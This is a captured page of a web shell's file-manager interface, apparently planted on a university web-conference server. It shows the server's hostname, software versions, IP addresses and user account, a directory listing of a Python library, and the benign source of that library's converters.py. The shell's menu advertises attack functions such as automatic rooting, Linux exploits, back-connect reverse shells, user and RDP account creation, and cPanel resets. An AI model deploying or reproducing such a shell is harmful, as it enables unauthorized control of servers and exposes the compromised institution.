Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.144.16.40
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
attr /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
1.32
KB
-rw-r--r--
__init__.pyi
8.06
KB
-rw-r--r--
_compat.py
7.15
KB
-rw-r--r--
_config.py
514
B
-rw-r--r--
_funcs.py
9.47
KB
-rw-r--r--
_make.py
69.15
KB
-rw-r--r--
_version_info.py
2.11
KB
-rw-r--r--
_version_info.pyi
209
B
-rw-r--r--
converters.py
2.09
KB
-rw-r--r--
converters.pyi
351
B
-rw-r--r--
exceptions.py
1.6
KB
-rw-r--r--
exceptions.pyi
458
B
-rw-r--r--
filters.py
1.07
KB
-rw-r--r--
filters.pyi
214
B
-rw-r--r--
py.typed
0
B
-rw-r--r--
validators.py
11.19
KB
-rw-r--r--
validators.pyi
1.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : converters.py
""" Commonly useful converters. """ from __future__ import absolute_import, division, print_function from ._make import NOTHING, Factory def optional(converter): """ A converter that allows an attribute to be optional. An optional attribute is one which can be set to ``None``. :param callable converter: the converter that is used for non-``None`` values. .. versionadded:: 17.1.0 """ def optional_converter(val): if val is None: return None return converter(val) return optional_converter def default_if_none(default=NOTHING, factory=None): """ A converter that allows to replace ``None`` values by *default* or the result of *factory*. :param default: Value to be used if ``None`` is passed. Passing an instance of `attr.Factory` is supported, however the ``takes_self`` option is *not*. :param callable factory: A callable that takes not parameters whose result is used if ``None`` is passed. :raises TypeError: If **neither** *default* or *factory* is passed. :raises TypeError: If **both** *default* and *factory* are passed. :raises ValueError: If an instance of `attr.Factory` is passed with ``takes_self=True``. .. versionadded:: 18.2.0 """ if default is NOTHING and factory is None: raise TypeError("Must pass either `default` or `factory`.") if default is not NOTHING and factory is not None: raise TypeError( "Must pass either `default` or `factory` but not both." ) if factory is not None: default = Factory(factory) if isinstance(default, Factory): if default.takes_self: raise ValueError( "`takes_self` is not supported by default_if_none." ) def default_if_none_converter(val): if val is not None: return val return default.factory() else: def default_if_none_converter(val): if val is not None: return val return default return default_if_none_converter
Close